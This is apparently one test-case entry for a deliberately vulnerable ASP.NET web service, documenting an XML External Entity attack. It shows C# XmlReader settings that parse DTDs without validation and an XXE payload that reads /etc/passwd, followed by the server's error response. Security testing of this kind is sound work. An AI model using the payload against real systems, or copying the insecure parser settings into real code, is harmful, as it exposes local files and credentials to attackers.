Test 2) External Entity Attacks

External Entity Attacks Test

Vulnerability Type Dynamic

Test Web Service URI http://[yourhostName]/XXE.asmx?WSDL

Vulnerable Code Block This method processes dtd/xsd and does not validate the input xml string:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
settings.ValidationType = ValidationType.None;
XmlReader reader = XmlReader.Create(new StringReader(xml), settings);
while (reader.Read()) { }

return string.Empty;

Attack Payload

<?xml version="1.0"?>
    <!DOCTYPE foo [  
        <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Vulnerable Method Name loadXML Vulnerable Parameter Name xml Response

System.IO.DirectoryNotFoundException: Could not find a part of the path 'c:\etc\passwd'.

Indications of Vulnerability

Web server returned: Http status code is 500 (i.e. Internal Error).
Web service tries to load local file sent by attack payload.